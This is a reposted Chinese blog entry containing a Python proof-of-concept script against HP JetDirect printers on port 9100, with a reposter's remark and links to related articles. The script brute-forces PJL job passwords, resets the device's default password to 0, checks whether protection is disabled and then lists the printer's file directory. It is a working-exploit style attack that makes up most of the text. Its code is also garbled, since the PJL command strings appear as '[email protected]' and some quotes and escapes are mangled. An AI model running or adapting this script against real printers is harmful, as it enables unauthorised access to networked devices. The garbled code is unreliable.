hp_jetdirect 9100漏洞检测

Posted crac

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了hp_jetdirect 9100漏洞检测相关的知识,希望对你有一定的参考价值。

#-*-coding=utf8-*-
import socket
import sys
def main():
    if len(sys.argv)<=1:
        print(‘Parameters error‘)
        return
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((sys.argv[1],9100))
    s.settimeout(None)
    # 发送读取设备ID的PJL指令
    s.send((‘\033%[email protected] INFO ID\r\n\033%-12345X\r\n‘).encode(‘UTF-8‘))
    print(s.recv(1024).decode(‘UTF-8‘))
    for i in range(1, 65536):
        buf = b‘‘
        # 发送重置密码的PJL指令
        s.send((‘33%[email protected] \r\[email protected] JOB PASSWORD=‘ + str(i) + ‘\r\[email protected] DEFAULT PASSWORD=0 \r\[email protected] EOJ\r\n33%-12345X\r\n‘).encode(‘UTF-8‘))
        if i%30 == 0:
            # 发送查询密码保护状态的PJL指令
            s.send((‘\033%[email protected] \r\[email protected] DINQUIRE PASSWORD\r\n\033%-12345X\r\n‘).encode(‘UTF-8‘))
            while True:
                buf+=s.recv(1)
                print(buf)
                try:
                    buf.index(b‘\r\n\x0c‘)
                    try:
                        # 密码保护被禁用
                        buf.index(b‘DISABLED‘)
                        print(‘password disabled ok!‘)
                        # 发送查询目录的PJL指令
                        s.send((‘\033%[email protected] \r\[email protected] FSDIRLIST NAME = "0:\\" ENTRY=1COUNT=99\r\n\033%-12345X\r\n‘).encode(‘UTF-8‘))
                        buf = b‘‘
                        while True:
                            buf+= s.recv(1)
                            print(buf)
                            try:
                                buf.index(b‘\r\n\x0c‘)
                                try:
                                # 查询成功
                                    buf.index(b‘ENTRY‘)
                                    print(‘PoC OK!‘)
                                    return
                                except ValueError:
                                    print(‘PoC NO!‘)
                                    return
                            except ValueError:
                                continue
                    except ValueError:
                        print(‘password disabled faild!‘)
                    finally:
                        s.close()
                        return
                except ValueError:
                    continue
    s.close()
if __name__ == ‘__main__‘:
    main()

来源:http://www.secbox.cn/hacker/client/6450.html  代码太乱 仅把代码整理了下..找了2台测试,都显示socket .timed out

以上是关于hp_jetdirect 9100漏洞检测的主要内容,如果未能解决你的问题,请参考以下文章

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

静态代码检测工具Wukong对log4J中的漏洞检测分析及漏洞修复

溢出漏洞利用原理及其检测原理——就是代码注入shellcode,检测可以利用静态签名

Git任意代码执行漏洞检测与修复(CVE-2018-11235)

使用 Pygments 检测代码片段的编程语言

thinkphp session漏洞的修复解决办法(附代码分析与检测)